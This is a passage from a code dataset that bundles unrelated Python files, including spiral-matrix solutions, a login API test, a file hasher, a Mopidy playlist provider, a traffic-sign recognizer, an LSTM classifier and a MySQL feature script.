\n mThreads, mTimes, mDeviations = cleaning(Threads, Time, \n stepsize, numberofthreads) \n\n #plotting function \n plotJulius(mTimes, mThreads, mDeviations,nameoffunc\n ,\"Number of Threads\",\"Times in Sec\")\n\nif __name__ == '__main__':\n main()\n","sub_path":".history/threadsvstimewithboxplot_20201209195343.py","file_name":"threadsvstimewithboxplot_20201209195343.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"407660000","text":"import numpy as np\nfrom pprint import pprint\n\n\n#\n\nclass Solution_2(object):\n res = list()\n\n def spiralOrder(self, matrix):\n Solution.res = list()\n self.helper(matrix)\n return Solution.res\n\n def helper(self, matrix):\n if matrix is None or len(matrix) == 0 or len(matrix[0]) == 0:\n return Solution.res\n row = len(matrix)\n col = len(matrix[0])\n if row == 1:\n # 只剩一行 横向打印\n for i in range(col):\n Solution.res.append(matrix[0][i])\n return Solution.res\n if col == 1:\n # 只剩一列 竖向打印\n for i in range(row):\n Solution.res.append(matrix[i][col - 1])\n return Solution.res\n\n # 从左到右\n for i in range(col):\n Solution.res.append(matrix[0][i])\n # 从上到下\n for i in range(1, row):\n Solution.res.append(matrix[i][col - 1])\n # 从右到左\n for j in range(col - 2, -1, -1):\n Solution.res.append(matrix[row - 1][j])\n # 从下到上\n for j in range(row - 2, 0, -1):\n Solution.res.append(matrix[j][0])\n matrix = np.array(matrix)\n new_matrix = matrix[1: len(matrix) - 1, 1: len(matrix[0]) - 1]\n self.helper(new_matrix)\n\n\nclass Solution_1(object):\n def spiralOrder(self, matrix):\n ans = list()\n if matrix is None or len(matrix) == 0 or len(matrix[0]) == 0:\n return ans\n\n visited = set()\n row, col = len(matrix), len(matrix[0])\n dx = [0, 1, 0, -1]\n dy = [1, 0, -1, 0]\n c = r = idx = 0\n for _ in range(row * col):\n print(r, c)\n ans.append(matrix[r][c])\n visited.add((r, c))\n temp_r = r + dx[idx]\n temp_c = c + dy[idx]\n if 0 <= temp_r < row and 0 <= temp_c < col and (temp_r, temp_c) not in visited:\n r, c = temp_r, temp_c\n else:\n idx = (idx + 1) % 4\n r = r + dx[idx]\n c = c + dy[idx]\n return ans\n\n\n\nclass Solution:\n def spiralOrder(self, matrix):\n if matrix is None or len(matrix) == 0 or len(matrix[0]) == 0:\n return\n dy = [0, 1, 0, -1]\n dx = [1, 0, -1, 0]\n idx = 0\n row = len(matrix)\n col = len(matrix[0])\n total = row * col\n visited_set = set()\n result = []\n r, c = 0, 0\n i = 0\n while i < total:\n if 0 <= r < row and 0 <= c < col:\n if (r, c) not in visited_set:\n visited_set.add((r, c))\n result.append(matrix[r][c])\n print(matrix[r][c])\n i += 1\n r += dy[idx]\n c += dx[idx]\n else:\n r -= dy[idx]\n c -= dx[idx]\n idx = (idx + 1) % 4\n r += dy[idx]\n c += dx[idx]\n else:\n r -= dy[idx]\n c -= dx[idx]\n idx = (idx + 1) % 4\n r += dy[idx]\n c += dx[idx]\n return result\n\n\nif __name__ == '__main__':\n arr = [[1, 2, 3, 4],\n [5, 6, 7, 8],\n [9, 10, 11, 12]]\n arr2 = [[1, 2, 3],\n [5, 6, 7],\n [9, 10, 11]]\n arr3 = [[1, 11], [2, 12], [3, 13], [4, 14], [5, 15], [6, 16], [7, 17], [8, 18], [9, 19], [10, 20]]\n\n sol = Solution()\n res = sol.spiralOrder(arr2)\n print(res)\n # print(Solution.res)\n","sub_path":"54.spiral-matrix.py","file_name":"54.spiral-matrix.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"388928944","text":"import allure\nimport pytest\nimport requests\n\nfrom api.apiLogin import ApiLogin\n\nfrom tools.readData import ReadData\ndata_li = ReadData().get_yaml('login_data', 'test_login')\n\nprint(data_li)\n# ids = ['正向用例','逆向用例','逆向用例']\n\n\nclass TestLogin:\n # 在所有的测试用例之前做创建session,实例化登录接口对象 ->setup_class\n def setup_class(self):\n # 获取session对象\n self.session = requests.Session()\n # 实例化登录接口对象\n self.login_object = ApiLogin()\n\n @pytest.mark.parametrize('dic', data_li)\n @allure.feature('用户登录功能')\n @allure.story('登录功能的测试用例')\n @allure.severity('blocker')\n def test_login(self, dic):\n '''\n data_li是列表套字典的形式用这个测试用例里面的写法\n :param dic:\n :return:\n '''\n # 读取数据,进行构造data,然后发起请求\n data = {'accounts': dic['accounts'], 'pwd': dic['pwd']}\n res = self.login_object.login(self.session, data).json()\n # 做断言\n assert res['msg'] == dic['exp']\n\n\n\n","sub_path":"testcase/test_mtx_login.py","file_name":"test_mtx_login.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"307460367","text":"import sys,hashlib,os\n\nBUF_SIZE = 65536 # lets read stuff in 64kb chunks!\n\ndef file_hash(file,algo):\n if algo == 'md5':\n alg = hashlib.md5()\n elif algo == 'sha1':\n alg = hashlib.sha1()\n with open(file, 'rb') as f:\n while True:\n data = f.read(BUF_SIZE)\n if not data:\n break\n alg.update(data)\n\n f.close()\n return alg.hexdigest()\n\ndef dir_hash(dir,algo,file_out):\n rezult = []\n\n output=open(file_out,'w')\n\n if algo == 'md5':\n alg = hashlib.md5()\n elif algo == 'sha1':\n alg = hashlib.sha1()\n\n files = os.listdir(dir)\n for file in files:\n rezult.append(file_hash(file,algo))\n output.write('%s :%s %s\\n' %(file_hash(file,algo),algo,file))\n output.close()\n return rezult\n\n\ncale = os.path.realpath(__file__)\nwd = os.getcwd()\nall_files = os.listdir(wd)\nparent = os.path.split(wd)[0]\nnew_file = os.path.join(parent,'newhashes.txt')\nnf = open(new_file,'w')\nnf.close()\n\ndir_hash(wd,'sha1',new_file)\n","sub_path":"filehash.py","file_name":"filehash.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"417168728","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/russell/manager/auth_config.py\n# Compiled at: 2018-12-27 05:19:41\nimport json, os\nfrom russell.model.access_token import AccessToken\nfrom russell.log import logger as russell_logger\n\nclass AuthConfigManager(object):\n \"\"\"\n Manages ~/.russellconfig file with access token\n \"\"\"\n CONFIG_FILE_PATH = os.path.expanduser('~/.russellconfig')\n\n @classmethod\n def set_access_token(cls, access_token):\n russell_logger.debug(('Setting {} in the file {}').format(access_token.to_dict(), cls.CONFIG_FILE_PATH))\n with open(cls.CONFIG_FILE_PATH, 'w') as (config_file):\n config_file.write(json.dumps(access_token.to_dict()))\n\n @classmethod\n def get_access_token(cls):\n if not os.path.isfile(cls.CONFIG_FILE_PATH):\n return\n else:\n with open(cls.CONFIG_FILE_PATH, 'r') as (config_file):\n access_token_str = config_file.read()\n return AccessToken.from_dict(json.loads(access_token_str, encoding='utf-8'))\n\n @classmethod\n def purge_access_token(cls):\n if not os.path.isfile(cls.CONFIG_FILE_PATH):\n return True\n os.remove(cls.CONFIG_FILE_PATH)","sub_path":"pycfiles/xxxy_cli-0.7.7-py2.7/auth_config.py","file_name":"auth_config.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"305589029","text":"from __future__ import unicode_literals\n\nimport logging\nimport pykka\n\nfrom mopidy import backend\nfrom mopidy.models import Playlist\n\nfrom . import Extension\n\nlogger = logging.getLogger(__name__)\n\n\nclass InternetArchiveBookmarks(pykka.ThreadingActor):\n\n pykka_traversable = True\n\n def __init__(self, username, backend):\n super(InternetArchiveBookmarks, self).__init__()\n self.username = username\n # always access backend by proxy\n self.backend = backend.actor_ref.proxy()\n # for delaying work to our future self\n self.future = self.actor_ref.proxy()\n\n def refresh(self):\n try:\n bookmarks = self.backend.client.bookmarks(self.username).get()\n logger.debug('Received %d Archive bookmarks', len(bookmarks))\n self.future.load(bookmarks)\n except pykka.ActorDeadError:\n self.stop()\n except Exception as e:\n logger.error('Error loading Archive bookmarks: %s', e)\n\n def load(self, bookmarks, playlists=[]):\n playlists = playlists[:]\n try:\n if bookmarks:\n doc = bookmarks.pop(0)\n id = doc['identifier']\n uri = '%s:%s' % (Extension.ext_name, id)\n name = doc.get('title', id)\n tracks = self.backend.library.lookup(uri).get()\n if tracks:\n playlists += [Playlist(uri=uri, name=name, tracks=tracks)]\n else:\n logger.warn('Skipping empty Archive bookmark %s', name)\n self.future.load(bookmarks, playlists)\n else:\n logger.info('Loaded %d Archive bookmarks', len(playlists))\n self.backend.playlists.playlists = playlists\n backend.BackendListener.send('playlists_loaded')\n except pykka.ActorDeadError:\n self.stop()\n except Exception as e:\n logger.error('Error loading Archive bookmarks: %s', e)\n\n\nclass InternetArchivePlaylistsProvider(backend.PlaylistsProvider):\n\n def __init__(self, config, backend):\n super(InternetArchivePlaylistsProvider, self).__init__(backend)\n username = config[Extension.ext_name]['username']\n if username:\n self.bookmarks = InternetArchiveBookmarks.start(username, backend)\n else:\n self.bookmarks = None\n self.timeout = config[Extension.ext_name]['timeout']\n\n def create(self, name):\n pass # TODO\n\n def delete(self, uri):\n pass # TODO\n\n def lookup(self, uri):\n for playlist in self.playlists:\n if playlist.uri == uri:\n return playlist\n return None\n\n def refresh(self):\n if self.bookmarks:\n # clear library cache\n self.backend.library.refresh()\n self.bookmarks.proxy().refresh()\n\n def save(self, playlist):\n pass # TODO\n\n def start(self):\n if self.bookmarks:\n self.bookmarks.proxy().refresh()\n\n def stop(self):\n if self.bookmarks:\n logger.debug('Stopping %s', self.bookmarks)\n try:\n self.bookmarks.stop(timeout=1)\n except pykka.Timeout:\n # bookmarks actor may be waiting on backend\n pykka.ActorRegistry.unregister(self.bookmarks)\n","sub_path":"mopidy_internetarchive/playlists.py","file_name":"playlists.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"575728955","text":"import cv2\nimport numpy as np\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nfrom imutils.perspective import four_point_transform\n#from imutils import contours\n#import imutils\n\ndef findTrafficSign(frame):\n '''\n This function find blobs with blue color on the image.\n After blobs were found it detects the largest square blob, that must be the sign.\n '''\n \n # define range HSV for blue color of the traffic sign\n lower_blue = np.array([90,50,50])\n upper_blue = np.array([130,255,255])\n\n if True:\n\n frameArea = frame.shape[0]*frame.shape[1]\n \n # convert color image to HSV color scheme\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n \n # define kernel for smoothing \n kernel = np.ones((3,3),np.uint8)\n # extract binary image with active blue regions\n mask = cv2.inRange(hsv, lower_blue, upper_blue)\n # morphological operations\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n\n # find contours in the mask\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n \n # defite string variable to hold detected sign description\n detectedTrafficSign = None\n \n # define variables to hold values during loop\n largestArea = 0\n largestRect = None\n \n # only proceed if at least one contour was found\n if len(cnts) > 0:\n for cnt in cnts:\n # Rotated Rectangle. Here, bounding rectangle is drawn with minimum area,\n # so it considers the rotation also. The function used is cv2.minAreaRect().\n # It returns a Box2D structure which contains following detals -\n # ( center (x,y), (width, height), angle of rotation ).\n # But to draw this rectangle, we need 4 corners of the rectangle.\n # It is obtained by the function cv2.boxPoints()\n rect = cv2.minAreaRect(cnt)\n box = cv2.boxPoints(rect)\n box = np.int0(box)\n \n # count euclidian distance for each side of the rectangle\n sideOne = np.linalg.norm(box[0]-box[1])\n sideTwo = np.linalg.norm(box[0]-box[3])\n # count area of the rectangle\n area = sideOne*sideTwo\n # find the largest rectangle within all contours\n if area > largestArea:\n largestArea = area\n largestRect = box\n \n if largestArea > frameArea*0.02:\n # draw contour of the found rectangle on the original image \n cv2.drawContours(frame,[largestRect],0,(0,0,255),2)\n \n # cut and warp interesting area\n warped = four_point_transform(mask, [largestRect][0])\n \n # show an image if rectangle was found\n #cv2.imshow(\"Warped\", cv2.bitwise_not(warped))\n \n # use function to detect the sign on the found rectangle\n detectedTrafficSign = identifyTrafficSign(warped)\n #print(detectedTrafficSign)\n\n # write the description of the sign on the original image\n cv2.putText(frame, detectedTrafficSign, (100, 100), cv2.FONT_HERSHEY_SIMPLEX, 0.65, (0, 255, 0), 2)\n \n print(detectedTrafficSign)\n \n return detectedTrafficSign, frame\n\ndef identifyTrafficSign(image):\n '''\n In this function we select some ROI in which we expect to have the sign parts. If the ROI has more active pixels than threshold we mark it as 1, else 0\n After path through all four regions, we compare the tuple of ones and zeros with keys in dictionary SIGNS_LOOKUP\n '''\n\n # define the dictionary of signs segments so we can identify\n # each signs on the image\n SIGNS_LOOKUP = {\n (1, 0, 0, 1): 'Turn Right', # turnRight\n (0, 0, 1, 1): 'Turn Left', # turnLeft\n (0, 1, 0, 1): 'Move Straight', # moveStraight\n (1, 0, 1, 1): 'Turn Back', # turnBack\n }\n\n THRESHOLD = 150\n \n image = cv2.bitwise_not(image)\n # (roiH, roiW) = roi.shape\n #subHeight = thresh.shape[0]/10\n #subWidth = thresh.shape[1]/10\n (subHeight, subWidth) = np.divide(image.shape, 10)\n subHeight = int(subHeight)\n subWidth = int(subWidth)\n\n # mark the ROIs borders on the image\n #cv2.rectangle(image, (subWidth, 4*subHeight), (3*subWidth, 9*subHeight), (0,255,0),2) # left block\n #cv2.rectangle(image, (4*subWidth, 4*subHeight), (6*subWidth, 9*subHeight), (0,255,0),2) # center block\n #cv2.rectangle(image, (7*subWidth, 4*subHeight), (9*subWidth, 9*subHeight), (0,255,0),2) # right block\n #cv2.rectangle(image, (3*subWidth, 2*subHeight), (7*subWidth, 4*subHeight), (0,255,0),2) # top block\n\n # substract 4 ROI of the sign thresh image\n leftBlock = image[4*subHeight:9*subHeight, subWidth:3*subWidth]\n centerBlock = image[4*subHeight:9*subHeight, 4*subWidth:6*subWidth]\n rightBlock = image[4*subHeight:9*subHeight, 7*subWidth:9*subWidth]\n topBlock = image[2*subHeight:4*subHeight, 3*subWidth:7*subWidth]\n\n # we now track the fraction of each ROI\n leftFraction = np.sum(leftBlock)/(leftBlock.shape[0]*leftBlock.shape[1])\n centerFraction = np.sum(centerBlock)/(centerBlock.shape[0]*centerBlock.shape[1])\n rightFraction = np.sum(rightBlock)/(rightBlock.shape[0]*rightBlock.shape[1])\n topFraction = np.sum(topBlock)/(topBlock.shape[0]*topBlock.shape[1])\n\n segments = (leftFraction, centerFraction, rightFraction, topFraction)\n segments = tuple(1 if segment > THRESHOLD else 0 for segment in segments)\n\n cv2.imshow(\"Warped\", image)\n\n if segments in SIGNS_LOOKUP:\n return SIGNS_LOOKUP[segments]\n else:\n return None\n\n\ndef main():\n findTrafficSign()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"sign_rec.py","file_name":"sign_rec.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"599279600","text":"# 104. Maximum Depth of Binary Tree\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n# Time complexity: O(N) where N = number of nodes\n# Space complexity: O(N) where N = number of nodes\nclass Solution:\n def maxDepth(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n s1 = []\n s2 = []\n s1.append(root)\n depth = 0\n while s1:\n while s1:\n n = s1.pop()\n if n is None: continue\n s2.append(n.left)\n s2.append(n.right)\n if s2: depth += 1\n s1 = s2\n s2 = []\n return depth\n","sub_path":"104/lc104-solution2.py","file_name":"lc104-solution2.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"412164273","text":"# _*_ coding: utf-8 _*_\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.nn import functional as F\r\n\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.nn.utils.rnn import pad_sequence, pack_padded_sequence, pad_packed_sequence\r\n\r\nimport pytorch_lightning as pl\r\nfrom pytorch_lightning.callbacks import EarlyStopping\r\nfrom pytorch_lightning.callbacks import ModelCheckpoint\r\n\r\nimport pickle\r\nimport pandas as pd\r\nfrom sklearn.metrics import classification_report, f1_score\r\n\r\ndoc_list = ['frightening', 'alcohol','nudity', 'violence', 'profanity']\r\nworking_aspect = doc_list[0]\r\nprint('Now working on:', working_aspect)\r\nbase_dir = '/home/yzhan273/Research/MPAA/Severity_Class_Pred/sent_bert/data_sent_emb/'\r\ntrain_file = base_dir + working_aspect + '_train.pkl'\r\ndev_file = base_dir + working_aspect + '_dev.pkl'\r\n\r\n# _*_ coding: utf-8 _*_\r\n\r\nclass LSTM_model(pl.LightningModule):\r\n\tdef __init__(self, input_size, output_size, hidden_size):\r\n\t\tsuper(LSTM_model, self).__init__()\r\n\r\n\t\tbsz = 1\r\n\t\tself.direction = 2\r\n\t\tself.input_size = input_size\r\n\t\tself.output_size = output_size\r\n\t\tself.hidden_size = hidden_size\r\n\t\tself.batch_size = bsz\r\n\t\tself.lstm = nn.LSTM(self.input_size, self.hidden_size, num_layers=1, batch_first=True, bidirectional=True)\r\n\t\t# self.label = nn.Linear(self.hidden_size, self.output_size) # single direction\r\n\t\tself.label = nn.Linear(self.hidden_size * self.direction, self.output_size)\r\n\r\n\tdef forward(self, input_sentence, batch_size=None):\r\n\t\t# print(\"here\")\r\n\t\tif batch_size is None:\r\n\t\t\t# Initial hidden state of the LSTM (num_layers * num_directions, batch, hidden_size)\r\n\t\t\th_0 = torch.zeros(1 * self.direction, self.batch_size, self.hidden_size).requires_grad_().to(\r\n\t\t\t\tdevice='cuda:6')\r\n\t\t\t# Initial cell state of the LSTM\r\n\t\t\tc_0 = torch.zeros(1 * self.direction, self.batch_size, self.hidden_size).requires_grad_().to(\r\n\t\t\t\tdevice='cuda:6')\r\n\r\n\t\telse:\r\n\t\t\th_0 = torch.zeros(1 * self.direction, batch_size, self.hidden_size).requires_grad_().to(device='cuda:6')\r\n\t\t\tc_0 = torch.zeros(1 * self.direction, batch_size, self.hidden_size).requires_grad_().to(device='cuda:6')\r\n\r\n\t\toutput, (final_hidden_state, final_cell_state) = self.lstm(input_sentence, (h_0, c_0))\r\n\r\n\t\toutput = pad_packed_sequence(output, batch_first=True) # padded seq, lengths\r\n\t\toutput = torch.max(output[0], dim=1)[0] # after max, (max tensor, max_indices)\r\n\r\n\t\tfinal_output = self.label(output)\r\n\r\n\t\treturn final_output\r\n\r\n\tdef loss_function(self, prediction, target):\r\n\t\treturn F.cross_entropy(prediction, target)\r\n\r\n\tdef training_step(self, batch, batch_idx):\r\n\t\ttext, text_len, target = batch\r\n\r\n\t\tprediction = self(text, len(text_len))\r\n\t\tloss = self.loss_function(prediction, target)\r\n\r\n\t\treturn {'loss': loss}\r\n\r\n\tdef validation_step(self, batch, batch_idx):\r\n\t\ttext, text_len, target = batch\r\n\r\n\t\tprediction = self(text, len(text_len))\r\n\t\tval_loss = self.loss_function(prediction, target)\r\n\t\tprediction_digits = [torch.argmax(x).item() for x in prediction]\r\n\r\n\t\treturn {'prediction_digits': prediction_digits, 'target': target.tolist(), 'val_loss': val_loss}\r\n\r\n\tdef validation_epoch_end(self, val_step_outputs):\r\n\t\tavg_val_loss = torch.tensor([x['val_loss'] for x in val_step_outputs]).mean()\r\n\t\tval_predictions = [x['prediction_digits'] for x in val_step_outputs]\r\n\t\tval_targets = [x['target'] for x in val_step_outputs]\r\n\t\t# unpack list of lists\r\n\t\tval_predictions = [item for sublist in val_predictions for item in sublist]\r\n\t\tval_targets = [item for sublist in val_targets for item in sublist]\r\n\t\t# print(val_predictions)\r\n\t\t# print(val_targets)\r\n\t\tprint(classification_report(val_targets, val_predictions, digits=4))\r\n\t\tval_weighted_f1 = f1_score(val_targets, val_predictions, average='weighted')\r\n\r\n\t\treturn {'avg_val_loss': avg_val_loss, 'val_weighted_f1': val_weighted_f1}\r\n\r\n\tdef configure_optimizers(self):\r\n\t\treturn torch.optim.Adam(self.parameters(), lr=1e-3)\r\n\r\n\tdef train_dataloader(self):\r\n\t\ttrain_raw_data = pd.read_pickle(train_file)\r\n\t\ttrain_dataset = MovieScriptDataset(train_raw_data)\r\n\t\ttrain_loader = torch.utils.data.DataLoader(\r\n\t\t\ttrain_dataset, batch_size=20, shuffle=True, collate_fn=my_collate_fn, num_workers=10)\r\n\t\treturn train_loader\r\n\r\n\tdef val_dataloader(self):\r\n\t\tdev_raw_data = pd.read_pickle(dev_file)\r\n\t\tdev_dataset = MovieScriptDataset(dev_raw_data)\r\n\t\tdev_loader = torch.utils.data.DataLoader(\r\n\t\t\tdev_dataset, batch_size=1, shuffle=False, collate_fn=my_collate_fn)\r\n\t\treturn dev_loader\r\n\r\n\r\nclass MovieScriptDataset(torch.utils.data.Dataset):\r\n\tdef __init__(self, tabular):\r\n\t\tif isinstance(tabular, str):\r\n\t\t\tself.annotations = pd.read_csv(tabular, sep='\\t')\r\n\t\telse:\r\n\t\t\tself.annotations = tabular\r\n\r\n\tdef __len__(self):\r\n\t\treturn len(self.annotations)\r\n\r\n\tdef __getitem__(self, index):\r\n\t\ttext = self.annotations.iloc[index, -1] # -1 is sent emb index\r\n\t\ty_label = torch.tensor(int(self.annotations.iloc[index, -2])) # -2 is label index\r\n\t\treturn {\r\n\t\t\t'text': text,\r\n\t\t\t'label': y_label\r\n\t\t}\r\n\r\n\r\ndef my_collate_fn(batch):\r\n\ttext_batch = [each_item['text'] for each_item in batch]\r\n\tlabel_batch = [each_item['label'] for each_item in batch]\r\n\tdata_length = [len(sq) for sq in text_batch]\r\n\t# sort from longest to shortest\r\n\ttext_batch = [x for _, x in sorted(zip(data_length, text_batch), key=lambda pair: pair[0], reverse=True)]\r\n\tlabel_batch = torch.stack(\r\n\t\t[x for _, x in sorted(zip(data_length, label_batch), key=lambda pair: pair[0], reverse=True)])\r\n\tdata_length.sort(reverse=True)\r\n\t# pad\r\n\ttext_batch = pad_sequence(text_batch, batch_first=True, padding_value=0)\r\n\t# pack padded\r\n\ttext_batch = pack_padded_sequence(text_batch, data_length, batch_first=True)\r\n\treturn text_batch, data_length, label_batch\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\toutput_size = 4\r\n\tinput_size = 768\r\n\thidden_size = 200\r\n\ttraining_epochs = 30\r\n\r\n\tmodel = LSTM_model(input_size, output_size, hidden_size)\r\n\r\n\tearly_stop_callback = EarlyStopping(\r\n\t\tmonitor='val_weighted_f1',\r\n\t\tmin_delta=0.00,\r\n\t\tpatience=10,\r\n\t\tverbose=False,\r\n\t\tmode='max'\r\n\t)\r\n # 3. Init ModelCheckpoint callback, monitoring 'val_loss'\r\n\tcheckpoint_callback = ModelCheckpoint(\r\n monitor='val_weighted_f1',\r\n filepath='/home/yzhan273/Research/MPAA/Severity_Class_Pred/sent_bert/LT_save_model/',\r\n mode='max')\r\n\r\n\r\n\ttrainer = pl.Trainer(fast_dev_run=False, max_epochs=training_epochs, gpus=[6],\r\n\t\t\t\t\t\t early_stop_callback=early_stop_callback,\r\n checkpoint_callback=checkpoint_callback)\r\n\ttrainer.fit(model)\r\n\r\n# output, final_hidden_state, final_cell_state = model(torch.rand(5, 10, 768), batch_size=5)\r\n# print(output.shape, final_hidden_state.shape, final_cell_state.shape)\r\n\r\n# best precision recall f1-score support\r\n#\r\n# 0 0.5962 0.4697 0.5254 66\r\n# 1 0.5179 0.5321 0.5249 109\r\n# 2 0.5435 0.5952 0.5682 126\r\n# 3 0.4516 0.4444 0.4480 63\r\n#\r\n# accuracy 0.5275 364\r\n# macro avg 0.5273 0.5104 0.5166 364\r\n# weighted avg 0.5295 0.5275 0.5267 364","sub_path":"lightning_sent_bert_max.py","file_name":"lightning_sent_bert_max.py","file_ext":"py","file_size_in_byte":7106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"79312500","text":"\"\"\"\nCopy/paste from scrapy source at the moment, to ensure tests are working.\nRefactoring to come later\n\"\"\"\nfrom functools import partial\nimport inspect\n\n\n_ITERABLE_SINGLE_VALUES = dict, str, bytes\n\n\ndef arg_to_iter(arg):\n \"\"\"Convert an argument to an iterable. The argument can be a None, single\n value, or an iterable.\n\n Exception: if arg is a dict, [arg] will be returned\n \"\"\"\n if arg is None:\n return []\n elif not isinstance(arg, _ITERABLE_SINGLE_VALUES) and hasattr(arg, '__iter__'):\n return arg\n else:\n return [arg]\n\n\ndef get_func_args(func, stripself=False):\n \"\"\"Return the argument name list of a callable\"\"\"\n if inspect.isfunction(func):\n func_args, _, _, _ = _getargspec_py23(func)\n elif inspect.isclass(func):\n return get_func_args(func.__init__, True)\n elif inspect.ismethod(func):\n return get_func_args(func.__func__, True)\n elif inspect.ismethoddescriptor(func):\n return []\n elif isinstance(func, partial):\n return [x for x in get_func_args(func.func)[len(func.args):]\n if not (func.keywords and x in func.keywords)]\n elif hasattr(func, '__call__'):\n if inspect.isroutine(func):\n return []\n elif getattr(func, '__name__', None) == '__call__':\n return []\n else:\n return get_func_args(func.__call__, True)\n else:\n raise TypeError('%s is not callable' % type(func))\n if stripself:\n func_args.pop(0)\n return func_args\n\n\ndef _getargspec_py23(func):\n \"\"\"_getargspec_py23(function) -> named tuple ArgSpec(args, varargs, keywords,\n defaults)\n\n Was identical to inspect.getargspec() in python2, but uses\n inspect.getfullargspec() for python3 behind the scenes to avoid\n DeprecationWarning.\n\n >>> def f(a, b=2, *ar, **kw):\n ... pass\n\n >>> _getargspec_py23(f)\n ArgSpec(args=['a', 'b'], varargs='ar', keywords='kw', defaults=(2,))\n \"\"\"\n return inspect.ArgSpec(*inspect.getfullargspec(func)[:4])\n","sub_path":"lgk_venv/Lib/site-packages/itemloaders/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505327856","text":"import mysql.connector\nimport datetime\nimport pdb\n\nimport pathlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport time\n\n## this file is meant to be an example of utilizing \n## pandas to calculate my day-by-day feature vectors via pandas.dataFrame()\n## I will not be listing all the calculated features here as it will be \n## awfully redundant, as well as giving away all my best ideas publicly\n\ndef addNewFeature(featureName,featureQuery, cnx):\n ### IMPORTANT INFO ###\n ### This function is set up so that a new feature is defaulted as a \n ### floating point value (decimal (7,4) in SQL) as a new column\n ### if the datatype is different, we need to change the \n ### alter table query below as well (line 58)\n \n ## connection stuff\n cursor = cnx.cursor()\n start_time = time.time()\n \n query = \"\"\"\n select name, date, playerID from inputvectors\n \"\"\"\n dataFrame = pd.read_sql_query(query, cnx)\n ## cast date column to a datetime object\n dataFrame['date'] = pd.to_datetime(dataFrame['date'], format = '%Y-%m-%d')\n\n dataframe_end = time.time() - start_time\n print('dataframe generation completed.....time elapsed : {0}'.format(dataframe_end))\n #dataFrame = pd.read_sql_query(query, cnx)\n newFeature = pd.Series()\n \n features_start = time.time()\n ## run the queries to calculate the new feature set\n if 'Season' or 'Game' in featureName: \n for row in range(len(dataFrame)):\n query = featureQuery.format\\\n (dataFrame.loc[row, 'playerID'], dataFrame.loc[row, 'date'], \\\n datetime.date(dataFrame.loc[row, 'date'].year,10,1) \\\n if dataFrame.loc[row, 'date'].month>9 \\\n else datetime.date(dataFrame.loc[row, 'date'].year-1,10,1))\n data = pd.read_sql_query(query, cnx)\n ## append calculated feature value to new feature series\n newFeature = newFeature.append(data.loc[0], ignore_index=True)\n else:\n for row in range(len(dataFrame)):\n query = featureQuery.format(dataFrame.loc[row, 'playerID'], dataFrame.loc[row, 'date'])\n data = pd.read_sql_query(query, cnx)\n ## append calculated feature value to new feature series\n newFeature = newFeature.append(data.loc[0], ignore_index=True)\n \n ## remove me after testing!!\n #cursor.execute(\"alter table inputvectors drop column {0}}\".format(featureName))\n ## /remove\n\n features_end = time.time() - features_start\n \n print (\"calculation of features complete....time elapsed : {0}\".format(features_end))\n\n \n query = \"\"\"\n alter table inputvectors\n add column {0} decimal(7,4)\n \"\"\".format(featureName)\n cursor.execute(query) \n \n \n query = ''\n updates_start = time.time()\n\n\n for i in range(len(newFeature.array)):\n if not pd.isna(newFeature[i]):\n query = \"\"\"\n update inputvectors\n set {0} = {1}\n where `index` = {2};\n \"\"\".format(featureName, newFeature[i], i+1)\n cursor.execute(query)\n \n cnx.commit()\n \n\n updates_end = time.time() - updates_start\n print (\"updates complete....time elapsed : {0}\".format(updates_end))\n\n query = \"\"\"\n insert into featuresList (name, feature)\n values (\"{0}\",\"{1}\")\n \"\"\".format(featureName,featureQuery)\n cursor.execute(query)\n cnx.commit()\n\n end_time = time.time() - start_time\n\n print (\"finished adding new feature....total time elapsed : {0}\".format(end_time)) ","sub_path":"scratch work/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":4194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"173329273","text":"import mock\nimport unittest\nimport responses\nimport requests\nimport json\n\nfrom application import app\nfrom stubresponses import stubcase, stubcaselist, update_register_response\n\nclass TestCaseListView(unittest.TestCase):\n\n def setUp(self):\n self.app = app.test_client()\n\n def test_service(self):\n response = self.app.get('/')\n assert response.status_code == 